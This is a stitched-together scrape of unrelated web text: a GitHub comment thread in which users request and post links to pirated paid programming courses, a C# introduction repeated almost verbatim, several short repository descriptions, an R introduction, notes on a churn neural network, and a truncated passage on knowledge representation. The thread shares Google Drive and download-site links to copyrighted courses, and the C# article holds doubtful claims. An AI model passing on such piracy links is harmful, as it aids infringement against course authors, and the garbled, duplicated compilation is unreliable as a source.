courses: https://drive.google.com/drive/folders/1zQan1cq1ZnqXmueRF5IqKoOtpFxl6Y4G @ezekielskottarathil ezekielskottarathil commented on 3 Oct 2019 can anyone provide 'sedimentology and petroleum geology' course from Udemy. Thanks in advance. "wrong place boy" @pulkitd2699 pulkitd2699 commented on 8 Oct 2019 Does anyone has a link for 'Cyber security: Python and web applications' course? Thanks @mohanrajrc mohanrajrc commented on 19 Oct 2019 • Can anyone provide torrent file for Mastering React By Mosh Hamedani. Thanks https://codewithmosh.com/p/mastering-react @evilprince2009 evilprince2009 commented on 27 Oct 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 @nunusandio nunusandio commented on 30 Oct 2019 Can anyone post torrent file for ASP.NET Authentication: The Big Picture https://app.pluralsight.com/library/courses/aspdotnet-authentication-big-picture/table-of-contents @EslamElmadny EslamElmadny commented on 9 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? @Genius-K-SL Genius-K-SL commented on 14 Dec 2019 hay brother! do you have html5 game development with javascript course ? @Genius-K-SL Genius-K-SL commented on 14 Dec 2019 This link is not working brother! http://www.seedpeer.me/details/4657790/Lynda.com-Building-Facebook-Applications-with-HTML-and-JavaScript.html @smithtuka smithtuka commented on 20 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? @AbdOoSaed AbdOoSaed commented on 22 Dec 2019 Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff @EslamElmadny EslamElmadny commented on 23 Dec 2019 • Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj @jedi2610 jedi2610 commented on 27 Dec 2019 Can anyone provide me with Code with Mosh's Ultimate Java Mastery Series link? plis @InnocentZaib InnocentZaib commented on 31 Dec 2019 Please provide the link of codewithmosh The ultimate data structures and algorithms Bundle the link is given below. Please give me the torrnet file or link to download https://codewithmosh.com/p/data-structures-algorithms @edward-teixeira edward-teixeira commented on 1 Jan 2020 Please provide the link of codewithmosh The ultimate data structures and algorithms Bundle the link is given below. Please give me the torrnet file or link to download https://codewithmosh.com/p/data-structures-algorithms Yea i'm looking for it too @kaneyxx kaneyxx commented on 1 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj could you please share the part-1 & part-3? @edward-teixeira edward-teixeira commented on 2 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? @ravisharmaa ravisharmaa commented on 7 Jan Please add this . https://www.letsbuildthatapp.com/course/AppStore-JSON-APIs @WaleedAlrashed WaleedAlrashed commented on 13 Jan This one kindly. https://www.udemy.com/course/flutter-build-a-complex-android-and-ios-apps-using-firestore/ @Sopheakmorm Sopheakmorm commented on 19 Jan Anyone have this course: https://www.udemy.com/course/mcsa-web-application-practice-test70-480-70-483-70-486 @EslamElmadny EslamElmadny commented on 19 Jan Anyone have this course: https://www.udemy.com/course/mcsa-web-application-practice-test70-480-70-483-70-486 +1 @EslamElmadny EslamElmadny commented on 20 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses @mohanrajrc mohanrajrc commented on 22 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses Yes. Java mastery and Data Structures 1, 2, 3 are available in this site. free download. @shihab122 shihab122 commented on 22 Jan Please give me the torrnet file or link to download The Ultimate Design Patterns @EslamElmadny EslamElmadny commented on 22 Jan • Please give me the torrnet file or link to download The Ultimate Design Patterns Waiting for it also :D @K-wachira K-wachira commented on 23 Jan Can you please add these two below ? https://codewithmosh.com/p/the-ultimate-java-mastery-series https://codewithmosh.com/p/data-structures-algorithms-part-2 any luck ? Has this come through by any chances? fff data-structures-algorithms-part-2 https://drive.google.com/open?id=1oYYdPp4MVVk7ZzZL6rLepFe33IjXtkqj Can you share part 1 and 3? https://vminhsang.name.vn/category/it-courses/codewithmosh/ this link includes almost all mosh courses Yes. Java mastery and Data Structures 1, 2, 3 are available in this site. free download. You are a saviour .. Altho i feel bad i cant really buy the course... its really good @msdyn95 msdyn95 commented 25 days ago • Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ @K-wachira K-wachira commented 23 days ago This one kindly. https://www.udemy.com/course/flutter-build-a-complex-android-and-ios-apps-using-firestore/ Hey did you find this one? @edward-teixeira edward-teixeira commented 22 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? @msdyn95 msdyn95 commented 21 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? unfortunately not. @edward-teixeira edward-teixeira commented 20 days ago Please give me the torrent file or link to download https://codewithmosh.com/p/design-patterns https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-1/ https://coursedownloader.net/code-with-mosh-the-ultimate-design-patterns-part-2/ Did you find those? unfortunately not. Found it ! https://vminhsang.name.vn/category/it-courses/codewithmosh/ @ZainA14 ZainA14 commented 16 days ago • Can someone please link me to this mosh course for torrent or direct download link https://codewithmosh.com/p/the-ultimate-full-stack-net-developer-bundle @khushiigupta khushiigupta commented 9 days ago Can any one please provide me link for jenkins so that I can learn as al as possible to join this conversation on GitHub. Already have an account? Sign in to comment © 2020 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About
foam-framework
FOAM: Feature-Oriented Active Modeller, Version 2
sanusanth
What is C#? C# is pronounced "C-Sharp". It is an object-oriented programming language created by Microsoft that runs on the .NET Framework. C# has roots from the C family, and the language is close to other popular languages like C++ and Java. The first version was released in year 2002. The latest version, C# 8, was released in September 2019. C# is a modern object-oriented programming language developed in 2000 by Anders Hejlsberg, the principal designer and lead architect at Microsoft. It is pronounced as "C-Sharp," inspired by the musical notation “♯” which stands for a note with a slightly higher pitch. As it’s considered an incremental compilation of the C++ language, the name C “sharp” seemed most appropriate. The sharp symbol, however, has been replaced by the keyboard friendly “#” as a suffix to “C” for purposes of programming. Although the code is very similar to C++, C# is newer and has grown fast with extensive support from Microsoft. The fact that it’s so similar to Java syntactically helps explain why it has emerged as one of the most popular programming languages today. C# is pronounced "C-Sharp". It is an object-oriented programming language created by Microsoft that runs on the .NET Framework. C# has roots from the C family, and the language is close to other popular languages like C++ and Java. The first version was released in year 2002. The latest version, C# 8, was released in September 2019. C# is used for: Mobile applications Desktop applications Web applications Web services Web sites Games VR Database applications And much, much more! An Introduction to C# Programming C# is a general-purpose, object-oriented programming language that is structured and easy to learn. It runs on Microsoft’s .Net Framework and can be compiled on a variety of computer platforms. As the syntax is simple and easy to learn, developers familiar with C, C++, or Java have found a comfort zone within C#. C# is a boon for developers who want to build a wide range of applications on the .NET Framework—Windows applications, Web applications, and Web services—in addition to building mobile apps, Windows Store apps, and enterprise software. It is thus considered a powerful programming language and features in every developer’s cache of tools. Although first released in 2002, when it was introduced with .NET Framework 1.0, the C# language has evolved a great deal since then. The most recent version is C# 8.0, available in preview as part of Visual Studio. To get access to all of the new language features, you would need to install the latest preview version of .NET Core 3.0. C# is used for: Mobile applications Desktop applications Web applications Web services Web sites Games VR Database applications And much, much more! Why Use C#? It is one of the most popular programming language in the world It is easy to learn and simple to use It has a huge community support C# is an object oriented language which gives a clear structure to programs and allows code to be reused, lowering development costs. As C# is close to C, C++ and Java, it makes it easy for programmers to switch to C# or vice versa. The C# Environment You need the .NET Framework and an IDE (integrated development environment) to work with the C# language. The .NET Framework The .NET Framework platform of the Windows OS is required to write web and desktop-based applications using not only C# but also Visual Basic and Jscript, as the platform provides language interoperability. Besides, the .Net Framework allows C# to communicate with any of the other common languages, such as C++, Jscript, COBOL, and so on. IDEs Microsoft provides various IDEs for C# programming: Visual Studio 2010 (VS) Visual Studio Express Visual Web Developer Visual Studio Code (VSC) The C# source code files can be written using a basic text editor, like Notepad, and compiled using the command-line compiler of the .NET Framework. Alternative open-source versions of the .Net Framework can work on other operating systems as well. For instance, the Mono has a C# compiler and runs on several operating systems, including Linux, Mac, Android, BSD, iOS, Windows, Solaris, and UNIX. This brings enhanced development tools to the developer. As C# is part of the .Net Framework platform, it has access to its enormous library of codes and components, such as Common Language Runtime (CLR), the .Net Framework Class Library, Common Language Specification, Common Type System, Metadata and Assemblies, Windows Forms, ASP.Net and ASP.Net AJAX, Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), and LINQ. C# and Java C# and Java are high-level programming languages that share several similarities (as well as many differences). They are both object-oriented languages much influenced by C++. But while C# is suitable for application development in the Microsoft ecosystem from the front, Java is considered best for client-side web applications. Also, while C# has many tools for programming, Java has a larger arsenal of tools to choose from in IDEs and Text Editors. C# is used for virtual reality projects like games, mobile, and web applications. It is built specifically for Microsoft platforms and several non-Microsoft-based operating systems, like the Mono Project that works with Linux and OS X. Java is used for creating messaging applications and developing web-based and enterprise-based applications in open-source ecosystems. Both C# and Java support arrays. However, each language uses them differently. In C#, arrays are a specialization of the system; in Java, they are a direct specialization of the object. The C# programming language executes on the CLR. The source code is interpreted into bytecode, which is further compiled by the CLR. Java runs on any platform with the assistance of JRE (Java Runtime Environment). The written source code is first compiled into bytecode and then converted into machine code to be executed on a JRE. C# and C++ Although C# and C++ are both C-based languages with similar code, there are some differences. For one, C# is considered a component-oriented programming language, while C++ is a partial object-oriented language. Also, while both languages are compiled languages, C# compiles to CLR and is interpreted by.NET, but C++ compiles to machine code. The size of binaries in C# is much larger than in C++. Other differences between the two include the following: C# gives compiler errors and warnings, but C++ doesn’t support warnings, which may cause damage to the OS. C# runs in a virtual machine for automatic memory management. C++ requires you to manage memory manually. C# can create Windows, .NET, web, desktop, and mobile applications, but not stand-alone apps. C++ can create server-side, stand-alone, and console applications as it can work directly with the hardware. C++ can be used on any platform, while C# is targeted toward Windows OS. Generally, C++ being faster than C#, the former is preferred for applications where performance is essential. Features of C# The C# programming language has many features that make it more useful and unique when compared to other languages, including: Object-oriented language Being object-oriented, C# allows the creation of modular applications and reusable codes, an advantage over C++. As an object-oriented language, C# makes development and maintenance easier when project size grows. It supports all three object-oriented features: data encapsulation, inheritance, interfaces, and polymorphism. Simplicity C# is a simple language with a structured approach to problem-solving. Unsafe operations, like direct memory manipulation, are not allowed. Speed The compilation and execution time in C# is very powerful and fast. A Modern programming language C# programming is used for building scalable and interoperable applications with support for modern features like automatic garbage collection, error handling, debugging, and robust security. It has built-in support for a web service to be invoked from any app running on any platform. Type-safe Arrays and objects are zero base indexed and bound checked. There is an automatic checking of the overflow of types. The C# type safety instances support robust programming. Interoperability Language interoperability of C# maximizes code reuse for the efficiency of the development process. C# programs can work upon almost anything as a program can call out any native API. Consistency Its unified type system enables developers to extend the type system simply and easily for consistent behavior. Updateable C# is automatically updateable. Its versioning support enables complex frameworks to be developed and evolved. Component oriented C# supports component-oriented programming through the concepts of properties, methods, events, and attributes for self-contained and self-describing components of functionality for robust and scalable applications. Structured Programming Language The structured design and modularization in C# break a problem into parts, using functions for easy implementation to solve significant problems. Rich Library C# has a standard library with many inbuilt functions for easy and fast development. Prerequisites for Learning C# Basic knowledge of C or C++ or any programming language or programming fundamentals. Additionally, the OOP concept makes for a short learning curve of C#. Advantages of C# There are many advantages to the C# language that makes it a useful programming language compared to other languages like Java, C, or C++. These include: Being an object-oriented language, C# allows you to create modular, maintainable applications and reusable codes Familiar syntax Easy to develop as it has a rich class of libraries for smooth implementation of functions Enhanced integration as an application written in .NET will integrate and interpret better when compared to other NET technologies As C# runs on CLR, it makes it easy to integrate with components written in other languages It’s safe, with no data loss as there is no type-conversion so that you can write secure codes The automatic garbage collection keeps the system clean and doesn’t hang it during execution As your machine has to install the .NET Framework to run C#, it supports cross-platform Strong memory backup prevents memory leakage Programming support of the Microsoft ecosystem makes development easy and seamless Low maintenance cost, as C# can develop iOS, Android, and Windows Phone native apps The syntax is similar to C, C++, and Java, which makes it easier to learn and work with C# Useful as it can develop iOS, Android, and Windows Phone native apps with the Xamarin Framework C# is the most powerful programming language for the .NET Framework Fast development as C# is open source steered by Microsoft with access to open source projects and tools on Github, and many active communities contributing to the improvement What Can C Sharp Do for You? C# can be used to develop a wide range of: Windows client applications Windows libraries and components Windows services Web applications Native iOS and Android mobile apps Azure cloud applications and services Gaming consoles and gaming systems Video and virtual reality games Interoperability software like SharePoint Enterprise software Backend services and database programs AI and ML applications Distributed applications Hardware-level programming Virus and malware software GUI-based applications IoT devices Blockchain and distributed ledger technology C# Programming for Beginners: Introduction, Features and Applications By Simplilearn Last updated on Jan 20, 2020674 C# Programming for Beginners As a programmer, you’re motivated to master the most popular languages that will give you an edge in your career. There’s a vast number of programming languages that you can learn, but how do you know which is the most useful? If you know C and C++, do you need to learn C# as well? How similar is C# to Java? Does it become more comfortable for you to learn C# if you already know Java? Every developer and wannabe programmer asks these types of questions. So let us explore C# programming: how it evolved as an extension of C and why you need to learn it as a part of the Master’s Program in integrated DevOps for server-side execution. Are you a web developer or someone interested to build a website? Enroll for the Javascript Certification Training. Check out the course preview now! What is C#? C# is a modern object-oriented programming language developed in 2000 by Anders Hejlsberg, the principal designer and lead architect at Microsoft. It is pronounced as "C-Sharp," inspired by the musical notation “♯” which stands for a note with a slightly higher pitch. As it’s considered an incremental compilation of the C++ language, the name C “sharp” seemed most appropriate. The sharp symbol, however, has been replaced by the keyboard friendly “#” as a suffix to “C” for purposes of programming. Although the code is very similar to C++, C# is newer and has grown fast with extensive support from Microsoft. The fact that it’s so similar to Java syntactically helps explain why it has emerged as one of the most popular programming languages today. An Introduction to C# Programming C# is a general-purpose, object-oriented programming language that is structured and easy to learn. It runs on Microsoft’s .Net Framework and can be compiled on a variety of computer platforms. As the syntax is simple and easy to learn, developers familiar with C, C++, or Java have found a comfort zone within C#. C# is a boon for developers who want to build a wide range of applications on the .NET Framework—Windows applications, Web applications, and Web services—in addition to building mobile apps, Windows Store apps, and enterprise software. It is thus considered a powerful programming language and features in every developer’s cache of tools. Although first released in 2002, when it was introduced with .NET Framework 1.0, the C# language has evolved a great deal since then. The most recent version is C# 8.0, available in preview as part of Visual Studio. To get access to all of the new language features, you would need to install the latest preview version of .NET Core 3.0. The C# Environment You need the .NET Framework and an IDE (integrated development environment) to work with the C# language. The .NET Framework The .NET Framework platform of the Windows OS is required to write web and desktop-based applications using not only C# but also Visual Basic and Jscript, as the platform provides language interoperability. Besides, the .Net Framework allows C# to communicate with any of the other common languages, such as C++, Jscript, COBOL, and so on. IDEs Microsoft provides various IDEs for C# programming: Visual Studio 2010 (VS) Visual Studio Express Visual Web Developer Visual Studio Code (VSC) The C# source code files can be written using a basic text editor, like Notepad, and compiled using the command-line compiler of the .NET Framework. Alternative open-source versions of the .Net Framework can work on other operating systems as well. For instance, the Mono has a C# compiler and runs on several operating systems, including Linux, Mac, Android, BSD, iOS, Windows, Solaris, and UNIX. This brings enhanced development tools to the developer. As C# is part of the .Net Framework platform, it has access to its enormous library of codes and components, such as Common Language Runtime (CLR), the .Net Framework Class Library, Common Language Specification, Common Type System, Metadata and Assemblies, Windows Forms, ASP.Net and ASP.Net AJAX, Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), and LINQ. C# and Java C# and Java are high-level programming languages that share several similarities (as well as many differences). They are both object-oriented languages much influenced by C++. But while C# is suitable for application development in the Microsoft ecosystem from the front, Java is considered best for client-side web applications. Also, while C# has many tools for programming, Java has a larger arsenal of tools to choose from in IDEs and Text Editors. C# is used for virtual reality projects like games, mobile, and web applications. It is built specifically for Microsoft platforms and several non-Microsoft-based operating systems, like the Mono Project that works with Linux and OS X. Java is used for creating messaging applications and developing web-based and enterprise-based applications in open-source ecosystems. Both C# and Java support arrays. However, each language uses them differently. In C#, arrays are a specialization of the system; in Java, they are a direct specialization of the object. The C# programming language executes on the CLR. The source code is interpreted into bytecode, which is further compiled by the CLR. Java runs on any platform with the assistance of JRE (Java Runtime Environment). The written source code is first compiled into bytecode and then converted into machine code to be executed on a JRE. C# and C++ Although C# and C++ are both C-based languages with similar code, there are some differences. For one, C# is considered a component-oriented programming language, while C++ is a partial object-oriented language. Also, while both languages are compiled languages, C# compiles to CLR and is interpreted by.NET, but C++ compiles to machine code. The size of binaries in C# is much larger than in C++. Other differences between the two include the following: C# gives compiler errors and warnings, but C++ doesn’t support warnings, which may cause damage to the OS. C# runs in a virtual machine for automatic memory management. C++ requires you to manage memory manually. C# can create Windows, .NET, web, desktop, and mobile applications, but not stand-alone apps. C++ can create server-side, stand-alone, and console applications as it can work directly with the hardware. C++ can be used on any platform, while C# is targeted toward Windows OS. Generally, C++ being faster than C#, the former is preferred for applications where performance is essential. Features of C# The C# programming language has many features that make it more useful and unique when compared to other languages, including: Object-oriented language Being object-oriented, C# allows the creation of modular applications and reusable codes, an advantage over C++. As an object-oriented language, C# makes development and maintenance easier when project size grows. It supports all three object-oriented features: data encapsulation, inheritance, interfaces, and polymorphism. Simplicity C# is a simple language with a structured approach to problem-solving. Unsafe operations, like direct memory manipulation, are not allowed. Speed The compilation and execution time in C# is very powerful and fast. A Modern programming language C# programming is used for building scalable and interoperable applications with support for modern features like automatic garbage collection, error handling, debugging, and robust security. It has built-in support for a web service to be invoked from any app running on any platform. Type-safe Arrays and objects are zero base indexed and bound checked. There is an automatic checking of the overflow of types. The C# type safety instances support robust programming. Interoperability Language interoperability of C# maximizes code reuse for the efficiency of the development process. C# programs can work upon almost anything as a program can call out any native API. Consistency Its unified type system enables developers to extend the type system simply and easily for consistent behavior. Updateable C# is automatically updateable. Its versioning support enables complex frameworks to be developed and evolved. Component oriented C# supports component-oriented programming through the concepts of properties, methods, events, and attributes for self-contained and self-describing components of functionality for robust and scalable applications. Structured Programming Language The structured design and modularization in C# break a problem into parts, using functions for easy implementation to solve significant problems. Rich Library C# has a standard library with many inbuilt functions for easy and fast development. Full Stack Java Developer Course The Gateway to Master Web DevelopmentEXPLORE COURSEFull Stack Java Developer Course Prerequisites for Learning C# Basic knowledge of C or C++ or any programming language or programming fundamentals. Additionally, the OOP concept makes for a short learning curve of C#. Advantages of C# There are many advantages to the C# language that makes it a useful programming language compared to other languages like Java, C, or C++. These include: Being an object-oriented language, C# allows you to create modular, maintainable applications and reusable codes Familiar syntax Easy to develop as it has a rich class of libraries for smooth implementation of functions Enhanced integration as an application written in .NET will integrate and interpret better when compared to other NET technologies As C# runs on CLR, it makes it easy to integrate with components written in other languages It’s safe, with no data loss as there is no type-conversion so that you can write secure codes The automatic garbage collection keeps the system clean and doesn’t hang it during execution As your machine has to install the .NET Framework to run C#, it supports cross-platform Strong memory backup prevents memory leakage Programming support of the Microsoft ecosystem makes development easy and seamless Low maintenance cost, as C# can develop iOS, Android, and Windows Phone native apps The syntax is similar to C, C++, and Java, which makes it easier to learn and work with C# Useful as it can develop iOS, Android, and Windows Phone native apps with the Xamarin Framework C# is the most powerful programming language for the .NET Framework Fast development as C# is open source steered by Microsoft with access to open source projects and tools on Github, and many active communities contributing to the improvement What Can C Sharp Do for You? C# can be used to develop a wide range of: Windows client applications Windows libraries and components Windows services Web applications Native iOS and Android mobile apps Azure cloud applications and services Gaming consoles and gaming systems Video and virtual reality games Interoperability software like SharePoint Enterprise software Backend services and database programs AI and ML applications Distributed applications Hardware-level programming Virus and malware software GUI-based applications IoT devices Blockchain and distributed ledger technology Who Should Learn the C# Programming Language and Why? C# is one of the most popular programming languages as it can be used for a variety of applications: mobile apps, game development, and enterprise software. What’s more, the C# 8.0 version is packed with several new features and enhancements to the C# language that can change the way developers write their C# code. The most important new features available are ‘null reference types,’ enhanced ‘pattern matching,’ and ‘async streams’ that help you to write more reliable and readable code. As you’re exposed to the fundamental programming concepts of C# in this course, you can work on projects that open the doors for you as a Full Stack Java Developer. So, upskill and master the C# language for a faster career trajectory and salary scope.
InternRobotics
VL-LN Bench: Towards Long-horizon Goal-oriented Navigation with Active Dialogs
kgrgreer
FOAM: Feature-Oriented Active Modeller, Version 3 (unstable)
Plant diseases causes many significant damages and losses in crops around the world. Some suitable measures on disease identification should be introduced to prevent damages and minimize losses. Early Detection of Disease helps in increasing the crop productivity as well as in minimizing expense. Technical approaches using machine learning and computer vision are actively researched to achieve intelligence farming by early detection on plant disease. The accuracy of object detection and recognition systems has been drastically improved by the recent development in Deep Neural Networks. By using these systems and implementation of computer vision and machine learning techniques, plant diseases can be detected. Here we have used transfer learning based approach to diagnose diseases of different plants using its images captured by camera devices either drone or smartphone. Our goal is to build a market oriented product for Plant Disease Detection, a smartphone app compatible with both smartphone camera and drone camera. The target group of the user is those who request a quick diagnosis on common leaf disease at any time of the day i.e. Farmers, agricultural industries, agricultural consultants and Government Agencies & Departments.
topofocus
Pure Ruby interface to OrientDB
TRAN-Gia-Quoc-Bao
My work during the research project "Comfort-oriented adaptive cruise control of an autonomous vehicle" at GIPSA-lab, Jan.-Jun. 2020, later extended into LPV control of a semi-active suspension system
HarmJ0y
Defensive-oriented Active Directory enumeration
ambiversive
This is a content management system that merges concepts from multiplayer games, operating systems, wikis, link aggregators, feed readers, and more! Features: * OOP/MySQL/PHP/HTML/CSS/JS/Jquery/scrollTo+LocalScroll/Ace editor/Notifier.js * Documents organized in tree hierarchy, each document can act as directory * Every edit of a document saves a new revision with the old document * Chat integrated (chat notifies of cms events, uses long polling) * Aspect oriented (aspects can be toggled with commands or in sets- a user's aspect can be refreshed from the server by setting an aspect_preference variable to 2 (0 means off, 1 means on, 2 means needs refresh) * Command line (defaults to chat input, commands begin with forward slash) * Bots (Bot commands can be added as easily as adding a document in the appropriate place, bots can execute code. Bots respond to users they are focused on, when active.) * User-selectable stylesheets + individual css rules (styles are editable within the CMS, individual style rules are applied after loading style, added with /set body background black) * Easy to add new commands (/addcom) (commands are stored in CMS as javascript and loaded at runtime) * All aspects and commands are listed with /help * Aspects are remembered between sessions (ie: looks the way you left it) * All aspects, documents, commands, and users have access levels * Uses Ace editor for editing documents * DB info stored in database/config.php - run the .sql then login with admin/admin * Integrated link aggregator with full cache (fetches link with wget) * Integrated RSS feed parser and db of over 200 feeds * One aspect is called the 'metabrowser' which is an iframe that loads a URL on command (usage: /bload http://reddit.com or /meta) .. the url is also remembered between sessions. * There is an interesting JS function called 'simcom' which simulates a user typing into the command line- works for both commands and chat messages. Usage: asgConfig.simcom('chat message or command!')
mhowerton91
<!DOCTYPE html> <!-- Copyright 2016 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 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yasminenahal
Active learning workflow to train and fine-tune molecular property predictors with chemist feedback for goal-oriented molecule generation.
acidzebra
VecTrix (previously known as VectorDiag) is a 24/7 Anki/DDL Vector robot monitor, console-oriented and Python-based, which can optionally keep Vector active and improve his idle behavior, can remote control Vector, has extensive logging options, battery profiling, and more!
Dave-J-Z
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alec-tschantz
Repository for "Learning action-oriented models through active inference"
gxwangupc
Code for the article 'Hyperspectral Image Classification with Feature-Oriented Adversarial Active Learning'.
akaidkhan
Introduction to R R is a programming language, which is an object oriented language created by Statisticians, R provides objects, operators and functions that allow the user to explore, model and visualize data. R is a Programming language Developed at AT&T Bell Lab. It is an open source free language, allowing anyone to use and modify it. R is licensed under the GNU General Public License, with copyright held by The R Foundation For Statistical Computing. It has no need to pay any subscription charges R has a huge active community member. If you have any question about any function any library you can Google it and you would get a proper answer and right the way. As it is an open source language, you, me and lots of Data Scientist, they actually built in all those, inbuilt function and they upload it in a website called CRAN and then you can download all those packages. Over 7800 packages listed on CRAN, here we listed some of the most powerful and commonly used in R packages. R is a cross platform. R can run in different kind of operating system and different hardware. Generally, it is used on GNU/Linux, Macintosh, and Microsoft Windows and running on both 32 and 64-bit processor. R is mainly used for Statistical Analysis and Analytics Purpose, you might be thinking why to learn again another language if you already know many programming languages like JAVA or other programming languages, and think why do you need the language because R is mainly used for all those statistical Analysis and that’s why you should learn the language R. you would understand after doing this course it is actually easy to interpret. R is the leading tool for statistics and data analysis, machine learning as well as. The programming language is more than a statistical package, you can build your own objects, functions, and packages. It is easy to use, the coding style is quite easy. R enables you to interact with many data sources: ODBC -compliant databases (Excel, Access). R also can handle CSV files, SAS, and SPSS, XML and lots of other different files as well. Similarly, it can create a very good visualization. It can produce graphics output in PDF, JPG, PNG and SVG formats and table output for LATEX and HTML. It has a lot of inbuilt functions(packages & Libraries) and the results are also easy to interpret and that’s why lots of industries are using R, it is not about the big or small. Lots of companies like Microsoft, Google are using R actively. It has a big reason, it is free and you can do POC out there. So, be confident about the fact that you are going to learn R and it has huge popularity and your market value is always higher if you know R in Data Science
Business Problem: Dataset of a bank with 10,000 customers measured lots of attributes of the customer and is seeing unusual churn rates at a high rate. Want to understand what the problem is, address the problem, and give them insights. 10,000 is a sample, millions of customer across Europe. Took a sample of 10,000 measured six months ago lots of factors (name, credit score, grography, age, tenure, balance, numOfProducts, credit card, active member, estimated salary, exited, etc.). For these 10,000 randomly selected customers and track which stayed or left. Goal: create a geographic segmentation model to tell which of the customers are at highest risk of leaving. Valuable to any customer-oriented organisations. Geographic Segmentation Modeling can be applied to millions of scenarios, very valuable. (doesn't have to be for banks, churn rate, etc.). Same scenario works for (e.g. should this person get a loan or not? Should this be approved for credit => binary outcome, model, more likely to be reliable). Fradulant transactions (which is more likely to be fradulant) Binary outcome with lots of independent variables you can build a proper robust model to tell you which factors influence the outcome. alt text Problem: Classification problem with lots of independent variables (credit score, balance, number of products) and based on these variables we're predicting which of these customers will leave the bank. Artificial Neural Networks can do a terrific job with Classification problems and making those kind of predictions. Libraries used: Theano numerical computation library, very efficient for fast numerical computations based on Numpy syntax GPU is much more powerful than CPU, as there are many more cores and run more floating points calculations per second GPU is much more specialized for highly intensive computing tasks and parallel computations, exactly for the case for neural networks When we're forward propogating the activations of the different neurons in the neural network thanks to the activation function well that involves parallel computations When errors are backpropagated to the neural networks that again involves parallel computation GPU is a much better choice for deep neural network than CPU - simple neural networks, CPU is sufficient Created by Machine Learning group at the Univeristy of Montreal Tensorflow Another numerical computation library that runs very fast computations that can run on your CPU or GPU Google Brain, Apache 2.0 license Theano & Tensorflow are used primarily for research and development in the deep learning field Deep Learning neural network from scratch, use the above Great for inventing new deep learning neural networks, deep learning models, lots of line of code Keras Wrapper for Theano + Tensorflow Amazing library to build deep neural networks in a few lines of code Very powerful deep neural networks in few lines of code based on Theano and Tensorflow Sci-kit Learn (Machine Learning models), Keras (Deep Learning models) Installing Theano, Tensorflow in three steps with Anaconda installed: $ pip install theano $ pip install tensorflow $ pip install keras $ conda update --all
Aryia-Behroziuan
The earliest work in computerized knowledge representation was focused on general problem solvers such as the General Problem Solver (GPS) system developed by Allen Newell and Herbert A. Simon in 1959. These systems featured data structures for planning and decomposition. The system would begin with a goal. It would then decompose that goal into sub-goals and then set out to construct strategies that could accomplish each subgoal. In these early days of AI, general search algorithms such as A* were also developed. However, the amorphous problem definitions for systems such as GPS meant that they worked only for very constrained toy domains (e.g. the "blocks world"). In order to tackle non-toy problems, AI researchers such as Ed Feigenbaum and Frederick Hayes-Roth realized that it was necessary to focus systems on more constrained problems. These efforts led to the cognitive revolution in psychology and to the phase of AI focused on knowledge representation that resulted in expert systems in the 1970s and 80s, production systems, frame languages, etc. Rather than general problem solvers, AI changed its focus to expert systems that could match human competence on a specific task, such as medical diagnosis. Expert systems gave us the terminology still in use today where AI systems are divided into a Knowledge Base with facts about the world and rules and an inference engine that applies the rules to the knowledge base in order to answer questions and solve problems. In these early systems the knowledge base tended to be a fairly flat structure, essentially assertions about the values of variables used by the rules.[2] In addition to expert systems, other researchers developed the concept of frame-based languages in the mid-1980s. A frame is similar to an object class: It is an abstract description of a category describing things in the world, problems, and potential solutions. Frames were originally used on systems geared toward human interaction, e.g. understanding natural language and the social settings in which various default expectations such as ordering food in a 